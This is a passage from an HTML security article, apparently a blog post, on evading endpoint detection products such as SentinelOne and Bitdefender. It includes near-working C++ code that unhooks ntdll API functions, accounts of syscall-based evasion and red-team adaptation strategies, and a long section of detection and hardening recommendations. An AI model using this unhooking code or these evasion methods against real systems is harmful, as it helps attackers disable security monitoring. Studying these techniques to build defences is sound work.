&lt;li&gt;&lt;p&gt;&lt;strong&gt;SentinelOne&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
SentinelOne’s local behavioral engine is particularly sensitive to stack backtracing. Without stack frame spoofing, BOF invocations of sensitive APIs were routinely intercepted. Integration of an indirect system call (Indirect Syscall) plugin markedly improved bypass success rates. By bypassing user-mode API hooks and triggering the syscall instruction directly via register setup, the technique prevents the EDR from capturing intent at the user-mode level.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Overall Assessment&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
PostExpKit-class tools demonstrate clear superiority in the “fileless” and “no new process” dimensions. However, when confronting EDR platforms equipped with robust kernel-level monitoring, sustained survival typically requires layering system-call-level evasion techniques (e.g., direct/indirect syscalls, syscall number randomization, or kernel callback suppression) alongside the BOF execution model.&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;strong&gt;4.2 Bitdefender Bypass Case Study: Multi-Technique Collaborative Verification&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Bitdefender, as a globally recognized mainstream security solution, employs deep API hooking techniques and behavioral heuristic engines in its endpoint protection module. This section reconstructs the complete process of API Unhooking technology, analyzes how it can bypass Bitdefender’s user-mode monitoring, and discusses the technical limitations and defensive value of this approach.&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;4.2.1 Principles and Implementation of API Unhooking Technology&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;To achieve behavioral monitoring, EDR solutions typically modify the headers of critical system DLL functions (such as those in ntdll.dll and kernel32.dll) during early process initialization by inserting jump instructions (JMP) that redirect control flow to the EDR’s own monitoring code. This process is known as hooking. When an application invokes these APIs, execution is first transferred to the EDR for legitimacy analysis before being forwarded to the original system function.&lt;/p&gt;

&lt;p&gt;The core concept of API Unhooking is to restore the original bytes of the tampered API functions. Its theoretical foundation lies in the fact that the contents of system DLL files are deterministic for a given operating system version. Attackers can obtain the pristine bytes through the following methods:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Reading from disk&lt;/strong&gt;: Directly reading a clean copy of ntdll.dll from the file system.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Copying from a clean process&lt;/strong&gt;: Creating a new, uninjected process and extracting the DLL content from its memory space.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Once the original bytes are acquired, they are overwritten onto the hooked memory region in the current process. This removes the EDR’s monitoring stub, allowing subsequent API calls to reach the kernel directly and thereby bypassing user-mode detection.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F23y35u55v6er7p3v2zld.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F23y35u55v6er7p3v2zld.jpg" alt=" " width="800" height="382"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;4.2.2 Reproduction of the Bypass Process and Analysis of Critical Code&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;In a test environment consisting of Bitdefender 2023 and Windows 10 22H2, the complete Unhooking workflow was successfully reproduced. The first step is to locate the hooked functions. Hooked functions typically begin with the byte 0xE9 (JMP) or the sequence 0xFF 0x25 (JMP QWORD PTR).&lt;/p&gt;

&lt;p&gt;The following is a conceptual C++ code snippet illustrating the core logic for Unhooking:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Pseudocode example: Basic logic for restoring API function headers&lt;/span&gt;
&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="nf"&gt;UnhookFunction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HMODULE&lt;/span&gt; &lt;span class="n"&gt;hModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;funcName&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// 1. Obtain the address of the function in the current process&lt;/span&gt;
    &lt;span class="n"&gt;BYTE&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;pHookedFunc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BYTE&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;GetProcAddress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;funcName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// 2. Check whether the function has been hooked (typical indicator: first byte is 0xE9)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pHookedFunc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0xE9&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// 3. Load a clean copy of the DLL from disk&lt;/span&gt;
        &lt;span class="n"&gt;HMODULE&lt;/span&gt; &lt;span class="n"&gt;hCleanModule&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;LoadLibraryExA&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"C:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;System32&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;ntdll.dll"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LOAD_LIBRARY_AS_DATAFILE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;BYTE&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;pCleanFunc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BYTE&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;GetProcAddress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hCleanModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;funcName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// 4. Change memory protection to writable (RW)&lt;/span&gt;
        &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;oldProtect&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;VirtualProtect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pHookedFunc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PAGE_READWRITE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;oldProtect&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// 5. Copy the original bytes (usually the first 14–15 bytes are sufficient to overwrite the jump)&lt;/span&gt;
        &lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pHookedFunc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pCleanFunc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// 6. Restore original memory protection (RX)&lt;/span&gt;
        &lt;span class="n"&gt;VirtualProtect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pHookedFunc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;oldProtect&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;oldProtect&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In practice, to evade Bitdefender’s monitoring of VirtualProtect, attackers often combine direct system calls to modify page table attributes or employ undocumented APIs. Test data indicate that after performing Unhooking on key memory operation APIs such as NtAllocateVirtualMemory and NtWriteVirtualMemory, the success rate of malicious code execution exceeds 95%. Bitdefender’s user-mode engine can no longer perceive these API calls because the hooks have been removed.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;4.2.3 Technical Limitations and Defensive Recommendations&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Although API Unhooking demonstrates a very high bypass success rate in user mode, it is not omnipotent and exhibits clear technical limitations and detectable defense points.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Technical Limitations:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Kernel callbacks remain intact&lt;/strong&gt;: Unhooking only removes user-mode hooks. Modern EDR solutions (such as Bitdefender) typically register kernel-level callbacks (e.g., PsSetCreateProcessNotifyRoutine). Even if user-mode APIs are no longer monitored, the EDR driver can still capture anomalous behavior when system calls enter the kernel.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Strong version dependency&lt;/strong&gt;: Methods relying on hard-coded offsets or direct reading of DLLs from disk are highly dependent on the operating system version and patch level. Windows updates that change DLL versions may cause the restored bytes to be incompatible, potentially resulting in process crashes.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Memory integrity checking&lt;/strong&gt;: Some advanced EDRs periodically scan the memory sections of critical system DLLs, verifying their hash values or signatures. Detection of inconsistencies between the in-memory content of ntdll.dll and the on-disk file can immediately trigger alerts or process termination.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Defensive Recommendations:&lt;/strong&gt; To counter such bypass techniques, defensive architectures should evolve from sole reliance on user-mode monitoring toward deep kernel-level defense:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Enable kernel-level callback monitoring&lt;/strong&gt;: Ensure that the EDR driver captures system calls at the kernel layer without depending on user-mode hooks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Memory integrity validation&lt;/strong&gt;: Periodically scan memory pages of critical system DLLs to detect unauthorized modifications (Unhooking artifacts).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Behavioral correlation&lt;/strong&gt;: Even if API calls are concealed, subsequent actions (such as network connections or access to sensitive files) should still be subject to correlation analysis. For example, a network connection initiated from a memory region that did not follow the standard loading process should be treated as a high-risk indicator.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In summary, PostExpKit and API Unhooking represent two important directions in contemporary red team techniques: “memory concealment” and “monitoring bypass.” For blue teams, understanding the implementation details of these techniques is a critical prerequisite for optimizing detection rules and constructing a robust, layered defense system.&lt;br&gt;
&lt;br&gt;&lt;br&gt;
&lt;br&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;5. Future Trends and Defensive Recommendations&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;As endpoint security protection systems continue to evolve, traditional signature-based and static rule-driven defenses have become inadequate against advanced persistent threats (APT) and modern red team attack techniques. The offense-defense confrontation is entering a new stage centered on artificial intelligence, behavioral analysis, and memory integrity. This chapter will explore the evolutionary direction of EDR technology and its impact on attack techniques, while offering concrete optimization pathways and implementation recommendations from the defensive perspective, with the goal of building a forward-looking, proactive defense system.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;5.1 Evolution of EDR Technology and Red Team Adaptation Directions&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Endpoint Detection and Response (EDR) systems are undergoing a paradigm shift from locally rule-driven detection to cloud-native intelligent modeling. Understanding this evolutionary trajectory and its implications for the attack surface is a prerequisite for constructing effective defensive architectures.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;5.1.1 EDR Technology Evolution Trends: From Local Rules to Cloud-Based AI Modeling&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Contemporary EDR architectures have largely moved beyond reliance on static, locally stored signature databases and are transitioning toward an “Endpoint Protection as a Service” (TPaaS) model. According to the 2024 Gartner Hype Cycle for Endpoint Security, next-generation endpoint protection is progressing toward cloud-hosted AI modeling, automated response orchestration, and continuous behavioral learning.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cloud-Based AI Modeling and Continuous Behavioral Learning&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Legacy EDR solutions depended heavily on local heuristic scanning. Modern platforms upload rich endpoint telemetry to cloud sandboxes for deep analysis. Cloud models benefit from vastly greater computational resources, enabling the training of sophisticated machine learning models capable of detecting subtle anomalies. Rather than merely checking process hashes, these systems analyze behavioral sequences — including API call ordering, memory allocation patterns, and semantic reasonableness of network connections. This architecture allows defenders to rapidly deploy updated detection models without requiring endpoint client updates.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Strengthened Memory Integrity Protection Mechanisms&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Operating system-level memory protections are increasingly integrated with EDR capabilities. Windows 11 introduced Virtualization-Based Security (HVCI) and Kernel-mode Hardware Enforced Stack Protection, dramatically raising the difficulty of kernel-level attacks. The widespread adoption of hardware features such as Intel Control-flow Enforcement Technology (CET) has rendered traditional return-oriented programming (ROP) exploitation techniques far less viable. EDR platforms leverage these hardware primitives to more effectively monitor kernel callbacks and driver loading, preventing malicious code from tampering with core system functions.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Synergistic Combination of Kernel Callbacks and User-Mode Hooking&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Although Kernel Patch Protection (KPP) restricts direct modification of kernel code by third-party drivers, EDR vendors have been authorized to register callback objects within the kernel. Modern EDR solutions achieve comprehensive telemetry coverage by combining user-mode API hooking with kernel-level callback monitoring. Even when attackers attempt to remove user-mode hooks (Unhooking), kernel-mode filter drivers continue to capture critical operations such as process injection, driver loading, or modification of sensitive registry keys.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fupu321lhj76n3tsjrf8q.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fupu321lhj76n3tsjrf8q.jpg" alt=" " width="800" height="335"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;5.1.2 Impact Analysis on Existing Evasion Techniques&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;As defensive technologies advance, traditional attack bypass methods face increasing obsolescence. Adversaries must adapt to the new detection environment, while defenders must anticipate emerging attack signatures.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Obsolescence of Static Obfuscation and Packing&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Relying solely on encoding obfuscation, packing, or PE header modification is no longer sufficient to evade modern EDR static detection engines. Cloud-based machine learning models extract deeper semantic features and can identify malicious payloads even after structural deformation. For example, PE headers adversarially crafted using Generative Adversarial Networks (GANs) may bypass certain static scanners but are frequently exposed during dynamic behavioral analysis.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Increased Detection Risk of Direct System Calls&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Direct system calls (Direct Syscalls) were once widely adopted to bypass user-mode API hooks. However, contemporary EDR platforms now monitor anomalous syscall patterns — including non-standard syscall sequences, calls originating from atypical memory regions, or invocations inconsistent with the process context. Kernel callback mechanisms ensure that even user-mode hook evasion is insufficient, as kernel-level telemetry continues to record these activities.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Semantic Analysis of Behavioral Fingerprints&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Defensive systems are increasingly focused on the “semantic reasonableness” of command sequences and operations. The fact that all commands are natively supported by the operating system and syntactically valid no longer guarantees safety. Combinations of legitimate commands that mimic known attack chains (e.g., download → decode → execute), or exhibit abnormal resource consumption patterns (e.g., deliberately avoiding large memory allocations to evade detection), can still trigger classification. Defenders are training classifiers to distinguish subtle deviations between “normal command input streams” and maliciously crafted ones, significantly raising the difficulty of behavior-consistent masquerading.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;5.1.3 Red Team Adaptation Strategies and Key Technology Research Directions&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;From the perspective of adversarial simulation research, attack technique evolution is concentrating in three principal areas: &lt;strong&gt;dynamism&lt;/strong&gt;, &lt;strong&gt;semantic plausibility&lt;/strong&gt;, and &lt;strong&gt;exploitation of new system features&lt;/strong&gt;. Defenders must understand these directions to refine detection rules and behavioral baselines.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Dynamic Payloads and Adaptive Morphing&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Future payloads are trending toward extreme dynamism and unpredictability. The use of large language models (LLMs) to automatically generate time-varying payloads (e.g., hourly structural or variable-name changes in shellcode) is an emerging research vector. Fuzzing-driven adaptive morphing techniques can automatically mutate payload structure — inserting junk instructions, altering control flow, or randomizing encoding — to prevent stable feature establishment by antivirus engines. This dynamism forces defenders to move beyond static signatures toward runtime behavioral fingerprinting.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Semantic Plausibility and Behavioral Consistency&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Attack techniques are shifting from concealment to plausibility. Mimicking routine administrative or user operations (software updates, installations, scheduled tasks) has become the dominant strategy. Low resource consumption and avoidance of high-frequency alerting thresholds are core principles. High customizability allows tailoring of command details to specific EDR vendors — for example, inserting sleep delays or renaming tools. Defenders must develop finer-grained behavioral baselines capable of distinguishing genuine administrative activity from sophisticated masquerading.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Exploitation of New System Features and Cross-Platform Weaponization&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Adversaries are actively researching defects in newly introduced system features. Examples include novel bypasses targeting Intel CET limitations or WebAssembly-based shellcode payloads compatible with both Windows and Linux environments. Memory-encrypted payload techniques are also advancing, keeping payloads in an encrypted state in memory at all times and decrypting only at the precise moment of execution, thereby increasing the difficulty of memory scanning.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Three Critical Technology Focus Areas for Red Teams&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Dynamic API Invocation&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Avoid fixed API call sequences by introducing randomization and indirect calls to evade behavioral model recognition.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Memory-Encrypted Payloads&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Ensure payloads remain unreadable in memory during non-execution states, countering memory forensic scanning.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Behavioral Consistency Modeling&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Align attack operations — in temporal distribution, resource consumption, and command semantics — with legitimate business workflows to minimize deviation signals.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;5.2 Defensive Optimization Recommendations: Upgrade Path from Detection to Prevention&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;In the face of increasingly sophisticated attack techniques, defensive architectures must evolve from passive detection toward proactive prevention. This transition requires not only the deployment of advanced tooling but also the optimization of configuration strategies, logging policies, and incident response workflows.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;5.2.1 Detection Optimization: Constructing Multi-Dimensional Behavioral Baselines&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Signature-based detection is no longer sufficient against advanced threats. Defenders must establish robust behavioral detection models, with particular emphasis on anomalous memory operations and API call-chain patterns.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Monitoring Anomalous Memory Behaviors&lt;/strong&gt;
Memory remains the primary arena for code execution by adversaries. Defensive systems should prioritize monitoring of the following memory-related activities:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Memory Page Permission Changes&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
 Detect processes that transition memory page permissions from read-write (RW) to read-write-execute (RWX), especially when such changes occur outside typical module-loaded regions.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Process Injection Detection&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
 Monitor cross-process memory allocation and remote thread creation, particularly when the target process is a system-critical process (e.g., lsass.exe, svchost.exe).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Shellcode Pattern Scanning&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
 Even encrypted payloads must decrypt at execution time. Leverage advanced threat detection modules within the EDR to perform real-time scanning of executable memory flows, identifying common shellcode signatures or anomalous instruction sequences.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;API Call-Chain Analysis&lt;/strong&gt;
Individual API calls may appear benign, but specific sequences frequently reveal malicious intent. Defenders should configure log analysis rules to focus on the following correlated indicators:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;API Unhooking Combined with BOF Execution&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
 Detect attempts to restore original hooked API bytes followed immediately by execution of Beacon Object Files (BOF) or loading of unknown modules — a hallmark combination of modern EDR evasion techniques.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Sensitive API Combinations&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
 Monitor sequences such as &lt;code&gt;VirtualAlloc&lt;/code&gt; followed by &lt;code&gt;CreateThread&lt;/code&gt;, or &lt;code&gt;WriteProcessMemory&lt;/code&gt; followed by &lt;code&gt;NtCreateThreadEx&lt;/code&gt;. When these occur in non-compiler-generated processes, they should be treated as high-risk.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Anomalous System Calls&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
 Identify direct user-mode system calls originating from modules lacking legitimate export tables or valid digital signatures.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Implementation Steps and Threshold Configuration&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;Enable advanced logging in SIEM or EDR consoles to capture process creation, module loading, network connections, and registry modification events.
&lt;/li&gt;
&lt;li&gt;Establish behavioral baselines using historical data. For example, if a server has never executed PowerShell scripts at 03:00, script execution during that window should trigger high-priority alerts.
&lt;/li&gt;
&lt;li&gt;Implement correlation rules that link endpoint telemetry with network flow logs. Anomalous outbound connections combined with suspicious process activity on the endpoint should trigger immediate host isolation.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;5.2.2 Preventive Measures: Attack Surface Reduction and Integrity Hardening&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;While detection often supports post-incident response, prevention aims to raise the cost and complexity of successful attacks. Restricting high-risk APIs and enforcing strong memory integrity controls represent high-impact, low-overhead preventive strategies.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Memory Integrity Enforcement&lt;/strong&gt;
Leverage native operating system security features for cost-effective, high-efficacy protection:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;Enable &lt;strong&gt;HVCI&lt;/strong&gt; (Hypervisor-protected Code Integrity) on supported Windows versions to block execution of unsigned drivers and unauthorized kernel code.
&lt;/li&gt;
&lt;li&gt;Activate &lt;strong&gt;LSA Protection&lt;/strong&gt; (Credential Guard) to prevent credential-dumping tools from reading sensitive in-memory data structures.
&lt;/li&gt;
&lt;li&gt;Enable &lt;strong&gt;Kernel-mode Hardware Enforced Stack Protection&lt;/strong&gt; on compatible hardware to mitigate kernel stack overflow exploits.&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Restriction of High-Risk APIs and Living-off-the-Land Binaries (LOLBins)&lt;/strong&gt;
Attackers frequently abuse legitimate system tools. Defenders should implement application control policies to constrain their misuse:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;Disable elevated COM interfaces via Group Policy (GPO) to block common UAC bypass techniques.
&lt;/li&gt;
&lt;li&gt;Enforce &lt;strong&gt;Constrained Language Mode&lt;/strong&gt; for PowerShell, WMI, and other script interpreters; enable Script Block Logging for full visibility.
&lt;/li&gt;
&lt;li&gt;Apply strict ACL auditing to critical directories (e.g., &lt;code&gt;%SystemRoot%\System32&lt;/code&gt;). Unauthorized modification attempts should generate immediate alerts.&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Deep Hardening and Path Collision Mitigation&lt;/strong&gt;
Drawing from proven UAC hardening best practices, implement the following controls to prevent privilege escalation:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;Perform path collision analysis to ensure no low-privilege-writable directories exist in system search paths, thereby blocking DLL hijacking and path interception attacks.
&lt;/li&gt;
&lt;li&gt;Protect EDR filter driver registry keys. Testing shows that even when user-mode EDR components remain active, permanent disabling of filter driver initialization can cripple core functionality. Safeguarding driver registration keys is therefore essential.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;5.2.3 Defensive Architecture Evolution Roadmap&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;To maintain long-term security posture, organizations should follow a phased maturity progression:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Phase 1 – Foundation&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Deploy modern EDR + next-generation antivirus (NGAV/EPP), enable HVCI/LSA protection, and activate constrained scripting modes.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Phase 2 – Behavioral Visibility&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Implement comprehensive behavioral baselining, API call-chain correlation, and memory anomaly detection rules.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Phase 3 – Proactive Hardening&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
